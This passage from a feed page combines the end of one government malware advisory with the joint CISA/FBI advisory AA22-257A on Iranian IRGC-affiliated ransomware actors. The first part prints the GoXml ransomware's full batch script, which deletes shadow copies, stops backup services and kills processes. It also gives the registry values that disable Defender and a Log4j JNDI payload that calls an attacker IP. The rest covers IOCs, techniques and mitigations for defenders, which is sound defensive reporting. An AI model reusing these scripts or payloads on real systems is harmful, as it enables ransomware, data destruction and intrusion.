Propagation for Encryptor win.bat 1635e1acd72809479e21b0ac5497a79b Launches GoXml.exe on startup win.bat 18e01dee14167c1cf8a58b6a648ee049 Changes desktop background to encryption image bb.bat 59a85e8ec23ef5b5c215cd5c8e5bc2ab Saves SAM and SYSTEM hives to C:\Temp, makes cab archive disable_defender.exe 60afb1e62ac61424a542b8c7b4d2cf01 Disables Windows Defender rwdsk.sys 8f6e7653807ebb57ecc549cef991d505 Raw disk driver utilized by wiper malware App_Web_bckwssht.dll e9b6ecbf0783fa9d6981bba76d949c94     Network-based IOCs FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data): Country Company AL KEMINET LTD. DE NOOP-84-247-59-0-25 DE GSL NETWORKS GB LON-CLIENTS GB GB-DATACENTER NL NL-LAYERSWITCH-20190220 NL PANQ-45-86-200-0 US PRIVATE CUSTOMER US BANDITO NETWORKS US EXTERNAL US RU-SELENA-20080725 US TRANS OCEAN NETWORK Appendix B Ransomware Cryptor GoXML.exe is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC). If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled, Xml Form Builder. All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string yes. If so, it will continue to decode its internal strings. The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error. @for /F "skip=1" %C in ('wmic LogicalDisk get DeviceID') do (@wmic /namespace:\\root\default Path SystemRestore Call disable "%C\" & @rd /s /q %C\$Recycle.bin) @vssadmin.exe delete shadows /all /quiet @set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc @for %C in (%SrvLst%) do @net stop %C @set SrvLst= @set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad @for %C in (%PrcLst%) do @taskkill /f /im "%C.exe" @set PrcLst= @exit   The syntax error consists of a missing backslash that separates system32 and cmd.exe, so the process is launched as system32cmd.exe which is an invalid command.   The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note. The cryptor places a file called How_To_Unlock_MyFiles.txt in directories with encrypted files. Each encrypted file is given the .lck extension and the contents of each file are only encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit. Separately, the actor ran a batch script (win.bat below) to set a specific desktop background. File Details GoXml.exe File Size: 43.48 KB (44520 bytes) SHA256: f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5 SHA1: 5d117d8ef075f3f8ed1d4edcc0771a2a0886a376 MD5: bbe983dba3bf319621b447618548b740 SSDeep: 768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX :RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1) File Type: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows PE Header Timestamp: 2016-04-30 17:08:19 ImpHash: 5b2ce9270beea5915ec9adbcd0dbb070 Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC Cert #0 Issuer  C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID Code Signing CA Cert #0 SHA1    55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f   win.bat (#1, run malware) File Size: 67 bytes SHA256: bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6 SHA1: 14b8c155e01f25e749a9726958606b242c8624b9 MD5: 1635e1acd72809479e21b0ac5497a79b SSDeep: 3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1) File Type: ASCII text, with no line terminators Contents: start /min C:\ProgramData\Microsoft\Windows\GoXml.exe 1 2 3 4 5 6 7   win.bat (#2, install desktop image) Filename: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 File Size: 765 bytes SHA256: ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2 SHA1: fce0db6e66d227d3b82d4564446ede0c0fd7598c MD5: 18e01dee14167c1cf8a58b6a648ee049 SSDeep: 12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV +Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1) File Type: DOS batch file text, ASCII text, with CRLF line terminators Contents: @echo off setlocal enabledelayedexpansion set "Wtime=!time:~0,2!" if "!Wtime!" leq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done if "!Wtime!" geq "20" reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\programdata\GoXml.jpg" /f & goto done :done timeout /t 5 >nul start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True start "" /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True endlocal   goxml.jpg File Size: 1.2 MB (1259040 bytes) SHA256: 63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 SHA1: 683eaec2b3bb5436f00b2172e287dc95e2ff2266 MD5: 0738242a521bdfe1f3ecc173f1726aa1 SSDeep: 12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1) File Type: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484], progressive, precision 8, 2484x1752, components 4 Software: Adobe Photoshop 22.4 (Windows) Modify Date: 2022-07-13 20:45:20 Create Date: 2020-06-11 02:13:33 Metadata Date: 2022-07-13 20:45:20 Profile Date Time: 2000-07-26 05:41:53 Image Size: 2484x1752 File Size: 1.2 MB (1259040 bytes) SHA256: 63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9 Disk Wiper The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line the cl.exe file accepts the arguments: in un wp <optional argument> If executed with the in command, the utility will output in start! and installs a hard coded file named rwdsk.sys as a service named RawDisk3. The .SYS file is not extracted from the installer however, but rather the installer looks for the file in the same directory that the cl.exe is executed in.  It will also load the driver after installation. The un command uninstalls the service, outputting the message “un start!” to the terminal. The wp command will access the loaded driver for raw disk access. The long hexadecimal string is hard coded in the cl.exe binary.       RawDisk3File = (void *)toOpenRawDisk3File(                                arg2_WideCharStr,                                0xC0000000,                                L"B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D");       ptrRawDiskFile = RawDisk3File;       if ( RawDisk3File )       {         sizeDisk = toGetDiskSize(RawDisk3File);         terminal_out("Total Bytez : %lld\n", sizeDisk << 9); The wp command also takes an additional argument as a device path to place after \RawDisk3\ in the output string. It is uncertain what creates this path to a device as the driver tested did not. The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes. If the registry key value HKLM\SOFTWARE\EldoS\EventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ..\..\DriverLibraries\DrvSupLib\install.c. If the system does not have the SOFTWARE\EldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility.  rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features."https://attack.mitre.org/software/S0364/ File Details cl.exe   File Size 142.5 KB (145920 bytes) SHA256 e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0 SHA1 f22a7ec80fbfdc4d8ed796119c76bfac01e0a908 MD5 7b71764236f244ae971742ee1bc6b098 SSDeep 3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PE Header Timestamp 2022-07-15 13:26:28 ImpHash 58d51c1152817ca3dec77f2eee52cbef   rwdsk.sys   File Size 38.84 KB (39776 bytes) SHA256 3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6 SHA1 5e061701b14faf9adec9dd0b2423ff3cfc18764b MD5 8f6e7653807ebb57ecc549cef991d505 SSDeep 768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1) Filetype PE32+ executable (native) x86-64, for MS Windows PEtype Driver PE Header Timestamp 2016-03-18 14:44:54 ImpHash e233f2cdc91faafe1467d9e52f166213 Cert #0 Subject CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 Issuer CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US Cert #0 SHA1 382c18388fb326221dfd7a77ee874f9ba60e04bf Cert #1 Subject C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation Cert #1 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #1 SHA1 30632ea310114105969d0bda28fdce267104754f Cert #2 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #2 Issuer C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root Cert #2 SHA1 57534ccc33914c41f70e2cbb2103a1db18817d8b Cert #3 Subject C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA Cert #3 Issuer C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. - For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority - G5 Cert #3 SHA1 495847a93187cfb8c71f840cb7b41497ad95c64f   Additional Files Web Deployed Reverse Proxy Description ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation. public static string hair_school_bracket()         {             return Umbrella_admit_arctic.rebel_sadreporthospital("460F2830272A2F2266052928202F21661627252D27212368");  //Invalid Config Package.         } public static string Visual_math_already()         {        return Umbrella_admit_arctic.rebel_sadreporthospital("5304057E0116001607");   //WV-RESET The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string. When run in context of an IIS web server connecting to the ASPX file will generate a 200 <Encryption DLL Info> 1.5 output.   The hex string represents the following ASCII text: Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy.  Sending a request to WV-RESET with a value will produce an OK response and call a function to shut down the proxy socket. The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries.   File Details ClientBin.aspx   File Size 55.24 KB (56561 bytes) SHA256 7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5 SHA1 e03edd9114e7a0138d1309034cad6b461ab0035b MD5 a9fa6cfdba41c57d8094545e9b56db36 SSDeep 768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1) Filetype HTML document text, ASCII text, with very long lines (56458)   App_Web_bckwssht.dll   File Size 41.0 KB (41984 bytes) SHA256 cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5 SHA1 49fd8de33aa0ea0c7432d62f1ddca832fab25325 MD5 e9b6ecbf0783fa9d6981bba76d949c94 SSDeep 384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1) Filetype PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows PEtype DLL PE Header Timestamp 2021-06-07 10:37:55 ImpHash dae02f32a21e03ce65412f6e56942daa Disable Defender Description disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation. Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions. The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe: The following Registry Keys were modified to disable Windows Defender: Set Registry Values (observed Win10 1709)   HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection  0      HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware  1  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ StartupApproved\Run\SecurityHealth  03 00 00 00 5D 02 00 00 41 3B 47 9D  HKLM\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware  1  HKLM\System\CurrentControlSet\Services\WinDefend\Start  3  HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\ DisableRealtimeMonitoring  1  Upon completion and if successful the application will display the following messages and wait for user input. disable-defender.exe   File Size 292.0 KB (299008 bytes) SHA256 45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace SHA1 e866cc6b1507f21f688ecc2ef15a64e413743da7 MD5 60afb1e62ac61424a542b8c7b4d2cf01 SSDeep 6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1) Filetype PE32+ executable (console) x86-64, for MS Windows PEtype EXE PE Header Timestamp 2021-10-24 15:07:32 ImpHash 74a6ef9e7b49c71341e439022f643c8e Revisions September 21, 2022: Initial Version September 22, 2022: Reordered items in the Mitigation Section September 23, 2022: Add the STIX file This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-257A: Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations
    by CISA on 14 Settembre 2022 at 3:00 pm

    Original release date: September 14, 2022SummaryActions to take today to protect against ransom operations: • Keep systems and software updated and prioritize remediating known exploited vulnerabilities. • Enforce MFA. • Make offline backups of your data. This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) - Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom’s National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government’s Islamic Revolutionary Guard Corps (IRGC). Note: The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as "the authoring agencies." This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC. Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations. The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors. This advisory provides observed tactics, techniques, and indicators of compromise (IOCs) that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC-affiliated cyber actors. For a downloadable copy of IOCs, see AA22-257A.stix. For more information on Iranian state-sponsored malicious cyber activity, see CISA’s Iran Cyber Threat Overview and Advisories webpage and FBI’s Iran Threat webpage. Download the PDF version of this report: pdf, 836 kb Technical DetailsThreat Actor Activity As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration. Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 (“Log4Shell”), CVE-2021-45046, and CVE-2021-45105 for initial access. The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or “double extortion” ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands. IRGC-affiliated actor activity observed by the authoring agencies includes: In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company’s operations for an extended period. In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity. In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company's network. MITRE ATT&CK® Tactics and Techniques Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed. The authoring agencies assess the following tactics and techniques are associated with this activity. Resource Development [TA0042] The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum: Fast Reverse Proxy (FRP) for command and control (C2) Plink for C2 Remote Desktop Protocol (RDP) for lateral movement BitLocker for data encryption SoftPerfect Network Scanner for system network configuration discovery Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Initial Access [TA0001] As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190]. The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks: Web shells with naming conventions aspx_[11 randomly generated alphabetic characters].aspx, login.aspx, or default.aspx in any of the following directories: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\ C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\ C:\inetpub\wwwroot\aspnet_client\ The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks: ${jndi:ldap//148.251.71.182:1389/RCE} (user agent string) RCE.class Execution [TA0002] The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity: Wininet Wininet’ WinLogon CacheTask Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Persistence [TA0003] The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity: Domain Admin it_admin DefaultAccount Default01 Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Exfiltration [TA0010] The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks: C:\Windows\Temp\sassl[.]pmd C:\Windows\Temp\ssasl[.]zip C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip Impact [TA0040] The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a .txt file or printed on the targeted entity’s networked printer(s). The notes included the following contact information: @BuySafety (Telegram) @WeRBits (Telegram) +93794415076 (WhatsApp) werbits@onionmail[.]org buysafety@onionmail[.]org yacashcash@rambler[.]ru Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. DETECTION The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks. Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. Note: Refer to Appendix A for IOCs. Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021- 45105. Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021- 34523, and CVE-2021-31207. As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021- 31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers. Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise. Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591. Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page. Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access. Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts. Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.” Review antivirus logs for indications they were unexpectedly turned off. Look for WinRAR and FileZilla in unexpected locations. Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process. Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. MitigationsThe authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below. Implement and Enforce Backup and Restoration Policies and Procedures Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration. These practices safeguard an organization’s continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Activate BitLocker on all networks and securely back up BitLocker keys with Microsoft and with an independent offline backup. Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident. Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud). Patch and Update Systems U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities. Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process. Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021- 34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021- 31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021- 31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470. Evaluate and Update Blocklists and Allowlists Regularly evaluate and update blocklists and allowlists. If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization’s execution blocklist. Prevent any attempts to install or run this program and its associated files. Implement Network Segmentation Implement network segmentation to restrict a malicious threat actor’s lateral movement. Secure User Accounts Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties. Require administrator credentials to install software. Implement Multifactor Authentication Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups. Use Strong Passwords Require all accounts with password logins to have strong, unique passwords. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information. Secure and Monitor RDP and other Potentially Risky Services If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Disable unused remote access/RDP ports. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts. Use Antivirus Programs Install and regularly update antivirus and anti-malware software on all hosts. Secure Remote Access Only use secure networks. Consider installing and using a VPN for remote access. VALIDATE SECURITY CONTROLS In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Appendix B). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. 